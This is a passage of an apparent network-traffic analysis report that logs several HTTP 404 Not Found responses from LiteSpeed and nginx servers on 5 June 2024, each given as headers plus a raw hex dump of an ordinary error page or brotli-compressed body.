6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeCache-Control: private, no-cache, no-store, must-revalidate, max-age=0Pragma: no-cacheContent-Type: text/htmlContent-Length: 1236Date: Wed, 05 Jun 2024 16:29:01 GMTServer: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeCache-Control: private, no-cache, no-store, must-revalidate, max-age=0Pragma: no-cacheContent-Type: text/htmlContent-Length: 1236Date: Wed, 05 Jun 2024 16:29:04 GMTServer: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 05 Jun 2024 16:29:31 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Httpd: 1Host-Header: 8441280b0c35cbc1147f8ba998a563a7X-Proxy-Cache-Info: DT:1Content-Encoding: brData Raw: 33 37 32 30 0d 0a 55 57 47 21 8a 8a 5e 0f cb 0e 30 5c 93 7a 00 54 06 c6 ee 80 58 b6 e3 7a be fd ef 7b 7f 7e ce 7b 32 ba 85 43 da 67 69 87 c8 ff fc 32 2d 3b 3f ec 2c 57 31 51 3d 3d 40 c2 7d 41 01 94 ab fd ff b7 69 15 92 ec 01 74 67 1d ce 2e 87 1b 6f 04 00 31 71 de be ef bf f7 7b 7e 49 76 ef 97 e1 9c 92 ba fb 9c d2 a0 3c 28 37 da 0b 55 5f 55 35 65 b5 dd 2b 43 03 c1 20 c9 83 9e 45 0c 37 c9 19 c3 60 92 70 29 c8 82 0d 17 fe ff 7f ef e7 27 2d 87 8c 8c 3e 80 86 1f 21 87 84 52 06 50 be 67 cf b9 db 4f 69 8c e7 5c ce 6a 64 9b 09 1a dd b7 54 67 8f ea 9c d5 4c 0e 19 3b 63 dc 2a e2 74 19 f0 29 6b 03 46 d9 07 f2 d7 78 ad 79 5c df ed 3f 09 8a 05 01 f1 1a bc ff cb e4 3d 57 ec 60 d5 c1 c2 2f a9 f5 a7 60 93 c2 ff de d7 f7 5b fb 78 be e4 29 0d 08 2f 36 37 45 41 32 94 f9 e6 87 d5 83 9c 60 f6 2b e5 21 f1 d6 16 72 58 5c 49 f0 2f fe f4 ed 11 7f d0 b1 b8 b2 80 88 a4 c3 b6 5e 4c 64 9a 95 ff bb 16 43 b6 4e f2 c0 10 62 82 da 38 49 c0 c0 6f bf 93 1a 84 b4 f7 c5 d9 ed e3 37 38 8c 6c db b6 fd fa 8d 1c 85 0d de 7f 8a 8b b3 cf cf 77 ab cf b6 17 0d 94 d8 c5 5e 32 67 14 a9 df 44 31 e1 62 f6 41 da 78 56 3a 36 17 62 8e 0c 37 ef bb e7 e7 0f eb f6 e3 e7 fb 2f 17 67 d2 8f fc 5f 03 5b 7f 7a bf 8f bc f2 f1 fd fa d3 59 7f ce f4 70 fc b6 8e 6f 6f 2f 98 26 37 a7 c5 c7 f7 82 0c 75 50 22 9b c7 d9 b7 b5 fd db fb e7 4d e4 a1 5f 91 a6 9a 1d 7f bf 7f fc c3 f6 89 15 e0 c8 2a 77 ef 1f 9f 9f 60 f3 95 e3 87 fb 27 4b 80 dd 28 25 b4 ba f8 f7 0f b7 8f 7f f3 df c7 c7 a7 73 d7 a9 2d e6 3f ab 97 ff 45 4f df fb 85 8c 5a a4 26 c2 10 48 9d 9e d5 cc a5 bf de 7e d6 f1 ca 7f f3 fe 9b 3b 1f e7 fe f1 ed f9 f6 9b fc 87 bf fd d2 e6 d4 d6 c3 fb 1f ab e1 93 7d bd 7d f3 87 fb e7 f5 7c fc b0 cc 40 a1 4a f3 f9 66 15 aa 97 f7 c7 da de 6f de df 7c a7 45 39 c2 56 e7 1b 8f ac bf 39 2a b2 5c 70 08 56 5f 8f 06 ff f6 db 33 b1 b7 7e bb 8e 37 ff ff f9 a9 ad 9a 39 c0 dd fd b3 b5 64 6f a7 af f3 23 2b fa 37 6f d3 eb 9d 9f e6 ca 6f 6e 15 3a c2 40 c8 ec 82 f3 4d 14 38 36 f0 0b 3f de 06 07 4e a6 6e 7d 3d bf ff 70 be 65 37 59 cd 58 15 e7 42 98 32 fb a6 47 72 c0 c8 81 99 ae f3 5d 39 b7 f3 eb a7 e3 87 ed e7 3e 4e 87 02 fe 77 3f b3 70 66 eb ed e7 b6 63 f5 de 71 7f f2 86 6f f9 76 86 20 44 88 d1 7b e5 dd dd dd 99 9c 62 a7 b7 9f 9b 56 42 0d 48 d1 14 38 0a e7 b9 4d 1d e9 43 12 f4 32 e3 26 32 a1 09 07 d7 82 53 7f fb b9 f9 5c 7e f9 57 f9 7c fb 0b 6f fa 09 fe 82 b6 cb 4f f7 c7 9d b6 e0 e6 20 39 bf 6c 8d 80 51 06 c2 52 ff 7c b3 40 31 61 c3 c1 e2 e6 87 7a 43 54 9e 6e 1f ee bf 6b 6a 86 cf 0f e3 90 26 1d 85 82 f6 4b 53 60 9d 5f 40 2c c7 be af 13 cf 85 b9 0f c2 9e f3 f8 4a 6a 07 4f 9f df 68 c7 65 ab 64 fc a1 26 0e 79 02 ad 3a 37 79 79 bd 8d 92 69 95 49 a2 98 b3 cf f6 4e 68 11 8c 59 ec e9 d6 55 f3 a6 8e bf f4 19 b5 d6 9b b7 af 5f 47 d4 fa ee 1e fa 7e ba 36 e5 60 61 bc
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 05 Jun 2024 16:29:34 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Httpd: 1Host-Header: 8441280b0c35cbc1147f8ba998a563a7X-Proxy-Cache-Info: DT:1Content-Encoding: brData Raw: 33 37 32 30 0d 0a 55 57 47 21 8a 8a 5e 0f cb 0e 30 5c 93 7a 00 54 06 c6 ee 80 58 b6 e3 7a be fd ef 7b 7f 7e ce 7b 32 ba 85 43 da 67 69 87 c8 ff fc 32 2d 3b 3f ec 2c 57 31 51 3d 3d 40 c2 7d 41 01 94 ab fd ff b7 69 15 92 ec 01 74 67 1d ce 2e 87 1b 6f 04 00 31 71 de be ef bf f7 7b 7e 49 76 ef 97 e1 9c 92 ba fb 9c d2 a0 3c 28 37 da 0b 55 5f 55 35 65 b5 dd 2b 43 03 c1 20 c9 83 9e 45 0c 37 c9 19 c3 60 92 70 29 c8 82 0d 17 fe ff 7f ef e7 27 2d 87 8c 8c 3e 80 86 1f 21 87 84 52 06 50 be 67 cf b9 db 4f 69 8c e7 5c ce 6a 64 9b 09 1a dd b7 54 67 8f ea 9c d5 4c 0e 19 3b 63 dc 2a e2 74 19 f0 29 6b 03 46 d9 07 f2 d7 78 ad 79 5c df ed 3f 09 8a 05 01 f1 1a bc ff cb e4 3d 57 ec 60 d5 c1 c2 2f a9 f5 a7 60 93 c2 ff de d7 f7 5b fb 78 be e4 29 0d 08 2f 36 37 45 41 32 94 f9 e6 87 d5 83 9c 60 f6 2b e5 21 f1 d6 16 72 58 5c 49 f0 2f fe f4 ed 11 7f d0 b1 b8 b2 80 88 a4 c3 b6 5e 4c 64 9a 95 ff bb 16 43 b6 4e f2 c0 10 62 82 da 38 49 c0 c0 6f bf 93 1a 84 b4 f7 c5 d9 ed e3 37 38 8c 6c db b6 fd fa 8d 1c 85 0d de 7f 8a 8b b3 cf cf 77 ab cf b6 17 0d 94 d8 c5 5e 32 67 14 a9 df 44 31 e1 62 f6 41 da 78 56 3a 36 17 62 8e 0c 37 ef bb e7 e7 0f eb f6 e3 e7 fb 2f 17 67 d2 8f fc 5f 03 5b 7f 7a bf 8f bc f2 f1 fd fa d3 59 7f ce f4 70 fc b6 8e 6f 6f 2f 98 26 37 a7 c5 c7 f7 82 0c 75 50 22 9b c7 d9 b7 b5 fd db fb e7 4d e4 a1 5f 91 a6 9a 1d 7f bf 7f fc c3 f6 89 15 e0 c8 2a 77 ef 1f 9f 9f 60 f3 95 e3 87 fb 27 4b 80 dd 28 25 b4 ba f8 f7 0f b7 8f 7f f3 df c7 c7 a7 73 d7 a9 2d e6 3f ab 97 ff 45 4f df fb 85 8c 5a a4 26 c2 10 48 9d 9e d5 cc a5 bf de 7e d6 f1 ca 7f f3 fe 9b 3b 1f e7 fe f1 ed f9 f6 9b fc 87 bf fd d2 e6 d4 d6 c3 fb 1f ab e1 93 7d bd 7d f3 87 fb e7 f5 7c fc b0 cc 40 a1 4a f3 f9 66 15 aa 97 f7 c7 da de 6f de df 7c a7 45 39 c2 56 e7 1b 8f ac bf 39 2a b2 5c 70 08 56 5f 8f 06 ff f6 db 33 b1 b7 7e bb 8e 37 ff ff f9 a9 ad 9a 39 c0 dd fd b3 b5 64 6f a7 af f3 23 2b fa 37 6f d3 eb 9d 9f e6 ca 6f 6e 15 3a c2 40 c8 ec 82 f3 4d 14 38 36 f0 0b 3f de 06 07 4e a6 6e 7d 3d bf ff 70 be 65 37 59 cd 58 15 e7 42 98 32 fb a6 47 72 c0 c8 81 99 ae f3 5d 39 b7 f3 eb a7 e3 87 ed e7 3e 4e 87 02 fe 77 3f b3 70 66 eb ed e7 b6 63 f5 de 71 7f f2 86 6f f9 76 86 20 44 88 d1 7b e5 dd dd dd 99 9c 62 a7 b7 9f 9b 56 42 0d 48 d1 14 38 0a e7 b9 4d 1d e9 43 12 f4 32 e3 26 32 a1 09 07 d7 82 53 7f fb b9 f9 5c 7e f9 57 f9 7c fb 0b 6f fa 09 fe 82 b6 cb 4f f7 c7 9d b6 e0 e6 20 39 bf 6c 8d 80 51 06 c2 52 ff 7c b3 40 31 61 c3 c1 e2 e6 87 7a 43 54 9e 6e 1f ee bf 6b 6a 86 cf 0f e3 90 26 1d 85 82 f6 4b 53 60 9d 5f 40 2c c7 be af 13 cf 85 b9 0f c2 9e f3 f8 4a 6a 07 4f 9f df 68 c7 65 ab 64 fc a1 26 0e 79 02 ad 3a 37 79 79 bd 8d 92 69 95 49 a2 98 b3 cf f6 4e 68 11 8c 59 ec e9 d6 55 f3 a6 8e bf f4 19 b5 d6 9b b7 af 5f 47 d4 fa ee 1e fa 7e ba 36 e5 60 61 bc
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 05 Jun 2024 16:29:36 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Httpd: 1Host-Header: 8441280b0c35cbc1147f8ba998a563a7X-Proxy-Cache-Info: DT:1Content-Encoding: brData Raw: 33 37 32 30 0d 0a 55 57 47 21 8a 8a 5e 0f cb 0e 30 5c 93 7a 00 54 06 c6 ee 80 58 b6 e3 7a be fd ef 7b 7f 7e ce 7b 32 ba 85 43 da 67 69 87 c8 ff fc 32 2d 3b 3f ec 2c 57 31 51 3d 3d 40 c2 7d 41 01 94 ab fd ff b7 69 15 92 ec 01 74 67 1d ce 2e 87 1b 6f 04 00 31 71 de be ef bf f7 7b 7e 49 76 ef 97 e1 9c 92 ba fb 9c d2 a0 3c 28 37 da 0b 55 5f 55 35 65 b5 dd 2b 43 03 c1 20 c9 83 9e 45 0c 37 c9 19 c3 60 92 70 29 c8 82 0d 17 fe ff 7f ef e7 27 2d 87 8c 8c 3e 80 86 1f 21 87 84 52 06 50 be 67 cf b9 db 4f 69 8c e7 5c ce 6a 64 9b 09 1a dd b7 54 67 8f ea 9c d5 4c 0e 19 3b 63 dc 2a e2 74 19 f0 29 6b 03 46 d9 07 f2 d7 78 ad 79 5c df ed 3f 09 8a 05 01 f1 1a bc ff cb e4 3d 57 ec 60 d5 c1 c2 2f a9 f5 a7 60 93 c2 ff de d7 f7 5b fb 78 be e4 29 0d 08 2f 36 37 45 41 32 94 f9 e6 87 d5 83 9c 60 f6 2b e5 21 f1 d6 16 72 58 5c 49 f0 2f fe f4 ed 11 7f d0 b1 b8 b2 80 88 a4 c3 b6 5e 4c 64 9a 95 ff bb 16 43 b6 4e f2 c0 10 62 82 da 38 49 c0 c0 6f bf 93 1a 84 b4 f7 c5 d9 ed e3 37 38 8c 6c db b6 fd fa 8d 1c 85 0d de 7f 8a 8b b3 cf cf 77 ab cf b6 17 0d 94 d8 c5 5e 32 67 14 a9 df 44 31 e1 62 f6 41 da 78 56 3a 36 17 62 8e 0c 37 ef bb e7 e7 0f eb f6 e3 e7 fb 2f 17 67 d2 8f fc 5f 03 5b 7f 7a bf 8f bc f2 f1 fd fa d3 59 7f ce f4 70 fc b6 8e 6f 6f 2f 98 26 37 a7 c5 c7 f7 82 0c 75 50 22 9b c7 d9 b7 b5 fd db fb e7 4d e4 a1 5f 91 a6 9a 1d 7f bf 7f fc c3 f6 89 15 e0 c8 2a 77 ef 1f 9f 9f 60 f3 95 e3 87 fb 27 4b 80 dd 28 25 b4 ba f8 f7 0f b7 8f 7f f3 df c7 c7 a7 73 d7 a9 2d e6 3f ab 97 ff 45 4f df fb 85 8c 5a a4 26 c2 10 48 9d 9e d5 cc a5 bf de 7e d6 f1 ca 7f f3 fe 9b 3b 1f e7 fe f1 ed f9 f6 9b fc 87 bf fd d2 e6 d4 d6 c3 fb 1f ab e1 93 7d bd 7d f3 87 fb e7 f5 7c fc b0 cc 40 a1 4a f3 f9 66 15 aa 97 f7 c7 da de 6f de df 7c a7 45 39 c2 56 e7 1b 8f ac bf 39 2a b2 5c 70 08 56 5f 8f 06 ff f6 db 33 b1 b7 7e bb 8e 37 ff ff f9 a9 ad 9a 39 c0 dd fd b3 b5 64 6f a7 af f3 23 2b fa 37 6f d3 eb 9d 9f e6 ca 6f 6e 15 3a c2 40 c8 ec 82 f3 4d 14 38 36 f0 0b 3f de 06 07 4e a6 6e 7d 3d bf ff 70 be 65 37 59 cd 58 15 e7 42 98 32 fb a6 47 72 c0 c8 81 99 ae f3 5d 39 b7 f3 eb a7 e3 87 ed e7 3e 4e 87 02 fe 77 3f b3 70 66 eb ed e7 b6 63 f5 de 71 7f f2 86 6f f9 76 86 20 44 88 d1 7b e5 dd dd dd 99 9c 62 a7 b7 9f 9b 56 42 0d 48 d1 14 38 0a e7 b9 4d 1d e9 43 12 f4 32 e3 26 32 a1 09 07 d7 82 53 7f fb b9 f9 5c 7e f9 57 f9 7c fb 0b 6f fa 09 fe 82 b6 cb 4f f7 c7 9d b6 e0 e6 20 39 bf 6c 8d 80 51 06 c2 52 ff 7c b3 40 31 61 c3 c1 e2 e6 87 7a 43 54 9e 6e 1f ee bf 6b 6a 86 cf 0f e3 90 26 1d 85 82 f6 4b 53 60 9d 5f 40 2c c7 be af 13 cf 85 b9 0f c2 9e f3 f8 4a 6a 07 4f 9f df 68 c7 65 ab 64 fc a1 26 0e 79 02 ad 3a 37 79 79 bd 8d 92 69 95 49 a2 98 b3 cf f6 4e 68 11 8c 59 ec e9 d6 55 f3 a6 8e bf f4 19 b5 d6 9b b7 af 5f 47 d4 fa ee 1e fa 7e ba 36 e5 60 61 bc
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 05 Jun 2024 16:29:39 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Httpd: 1Host-Header: 6b7412fb82ca5edfd0917e3957f05d89X-Proxy-Cache: MISSX-Proxy-Cache-Info: 0 NC:000000 UP:Data Raw: 31 33 64 34 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 2c 6d 61 78 2d 61 67 65 3d 30 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 25 37 43 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 20 7b 0a 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 7d 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 